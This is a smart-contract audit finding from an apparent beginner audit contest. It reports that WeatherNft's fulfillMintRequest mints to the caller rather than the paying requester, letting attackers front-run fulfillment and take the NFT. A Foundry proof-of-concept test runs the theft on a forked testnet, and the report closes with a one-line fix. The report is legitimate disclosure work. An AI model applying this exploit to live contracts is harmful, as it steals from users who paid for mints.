Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Missing Recipient Validation in `WeatherNft::fulfillMintRequest` function , leading to NFT Hijacking/Unauthorized NFT Minting

[H-1] Missing Recipient Validation in WeatherNft::fulfillMintRequest() function , leading to NFT Hijacking/Unauthorized NFT Minting

Description

The fulfillMintRequest() function allows anyone to call it and complete the minting process after the Chainlink Functions request is fulfilled. When minting the NFT, the contract uses msg.sender as the recipient rather than the original requester who paid for the mint. This creates a critical vulnerability where attackers can front-run legitimate users' mint fulfillment transactions and receive their NFTs despite not paying the mint price.

Impact

Any user can monitor pending mint requests and steal NFTs by front-running the original requester's fulfillment transaction. The original requester still pays the mint price but receives nothing, resulting in direct financial loss.\

Risk: High

Proof of Concept

  • Put the below file inside a test file.

  • Run it using : forge test --fork-url $AVAX_FUJI_RPC_URL --via-ir -vvvvv

Code
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {Test, console} from "forge-std/Test.sol";
import {WeatherNft} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
contract WeatherNftAttacker is Test {
WeatherNft weatherNft;
LinkTokenInterface linkToken;
address functionsRouter;
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
function setUp() external {
// Use the deployed contract
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
// Fund accounts
vm.deal(victim, 1000e18);
vm.deal(attacker, 1000e18);
deal(address(linkToken), victim, 1000e18);
}
function test_stealNFT() public {
// 1. Victim initiates the mint request and pays for it
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false; // Simplify test by not registering keeper
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 0; // No LINK needed without keeper
vm.startPrank(victim);
uint256 mintPrice = weatherNft.s_currentMintPrice();
console.log("Victim pays mint price: %s", mintPrice);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: mintPrice}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
// 2. Extract the request ID from logs
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
console.log("Request ID created: %s", uint256(reqId));
// 3. Oracle fulfills the request (provides weather data)
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(uint8(0)); // SUNNY
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
console.log("Oracle data fulfilled");
// 4. ATTACK: Attacker front-runs the victim and fulfills the mint
uint256 tokenId = weatherNft.s_tokenCounter();
console.log("Next token ID to be minted: %s", tokenId);
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
console.log("Attacker called fulfillMintRequest()");
// 5. Verify the attacker now owns the NFT, not the victim
address nftOwner = weatherNft.ownerOf(tokenId);
console.log("NFT owner: %s", nftOwner);
console.log("Attacker address: %s", attacker);
console.log("Victim address: %s", victim);
assertEq(nftOwner, attacker);
assertNotEq(nftOwner, victim);
console.log("ATTACK SUCCESSFUL: Attacker stole the NFT that victim paid for");
}
}

Recommended Mitigation

Modify the fulfillMintRequest() function to mint the NFT to the original requester instead of the transaction sender:

// Before
- _mint(msg.sender, tokenId);
// After
+ _mint(_userMintRequest.user, tokenId);
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.